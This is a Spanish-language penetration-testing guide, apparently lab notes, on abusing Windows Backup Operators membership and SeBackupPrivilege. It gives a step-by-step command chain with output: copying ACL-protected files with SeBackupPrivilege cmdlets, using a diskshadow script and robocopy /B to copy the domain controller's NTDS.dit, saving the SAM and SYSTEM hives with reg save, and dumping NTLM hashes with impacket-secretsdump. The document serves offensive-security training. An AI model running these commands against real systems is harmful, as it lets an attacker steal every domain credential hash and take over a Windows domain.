Backup Operators

El grupo Backup Operators es un grupo especial en sistemas Windows que otorga a sus miembros privilegios para realizar copias de seguridad y restaurar archivos en el sistema, sin importar las restricciones de control de acceso (ACLs). Los miembros de este grupo tienen los privilegios SeBackup y SeRestore, lo que les permite acceder a archivos y directorios, incluso si no tienen permisos explícitos para hacerlo, para poder hacer copias de seguridad o restaurar datos. Sin embargo, no pueden modificar el contenido de los archivos o cambiar su configuración.

No obstante, esta operación no puede realizarse utilizando el comando copy estándar. En lugar de eso, es necesario realizar la copia de datos mediante programación, asegurándonos de establecer el indicador FILE_FLAG_BACKUP_SEMANTICS.

Podemos aprovechar este PoC para explotar el privilegio SeBackup y copiar el archivo deseado. Para ello, primero importaremos las bibliotecas necesarias dentro de una sesión de PowerShell.

Usando el Modulo SeBackupPrivilege

Importación de bibliotecas

PS C:\temp> Import-Module .\SeBackupPrivilegeUtils.dll
PS C:\temp> Import-Module .\SeBackupPrivilegeCmdLets.dll

Habilitación de SeBackupPrivilege

PS C:\temp> Set-SeBackupPrivilege
PS C:\temp> Get-SeBackupPrivilege

SeBackupPrivilege is enabled
PS C:\temp> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== ========
SeMachineAccountPrivilege     Add workstations to domain     Disabled
SeBackupPrivilege             Back up files and directories  Enabled
SeRestorePrivilege            Restore files and directories  Disabled
SeShutdownPrivilege           Shut down the system           Disabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled

Copiar un archivo protegido

PS C:\temp> Copy-FileSeBackupPrivilege 'C:\Confidential\2021 Contract.txt' .\Contract.txt

Copied 88 bytes

<...SNIP...>

Copiar NTDS.dit

Este grupo también otorga la capacidad de iniciar sesión localmente en un controlador de dominio. La base de datos del directorio activo NTDS.dit es un objetivo particularmente valioso, ya que contiene los hashes NTLM de todos los objetos de usuario y computadora en el dominio. Sin embargo, este archivo está bloqueado por defecto, lo que impide el acceso directo a usuarios sin privilegios.

Para acceder al archivo NTDS.dit, podemos aprovechar la utilidad Diskshadow de Windows, que permite crear una instantánea del archivo. Esta herramienta nos permite montar la instantánea como una nueva unidad (por ejemplo, E:), mientras que el sistema continúa utilizando el archivo original NTDS.dit. De esta forma, se puede acceder a los datos sin interferir con el funcionamiento normal del sistema.

PS C:\temp> diskshadow.exe

Microsoft DiskShadow version 1.0
Copyright (C) 2013 Microsoft Corporation
On computer:  DC,  10/14/2020 12:57:52 AM

DISKSHADOW> set verbose on
DISKSHADOW> set metadata C:\Windows\Temp\meta.cab
DISKSHADOW> set context clientaccessible
DISKSHADOW> set context persistent
DISKSHADOW> begin backup
DISKSHADOW> add volume C: alias cdrive
DISKSHADOW> create
DISKSHADOW> expose %cdrive% E:
DISKSHADOW> end backup
DISKSHADOW> exit

A continuación podemos utilizar el cmdlet Copy-FileSeBackupPrivilege para omitir la ACL y copiar NTDS.dit localmente.

PS C:\temp> Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\temp\ntds.dit

SAM y SYSTEM

Respaldo de las colmenas del registro SAM y SYSTEM

C:\temp> reg save HKLM\SYSTEM SYSTEM.SAV

The operation completed successfully.


C:\temp> reg save HKLM\SAM SAM.SAV

The operation completed successfully.

Extracción de hashes mediante SecretsDump

impacket-secretsdump -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL

Robocopy

Copiar archivos con Robocopy

La herramienta incorporada robocopy es una utilidad avanzada para copiar archivos en modo de copia de seguridad. A diferencia del comando copy, robocopy permite realizar copias de seguridad de manera más eficiente, ya que ofrece características como la copia multiproceso, reintentos automáticos y la capacidad de reanudar copias interrumpidas. Además, verifica el directorio de destino, elimina archivos obsoletos y compara los archivos antes de copiarlos, evitando transferir aquellos que no han cambiado desde la última ejecución.

C:\htb> robocopy /B E:\Windows\NTDS .\ntds ntds.dit

Esto elimina la necesidad de herramientas externas.

Última actualización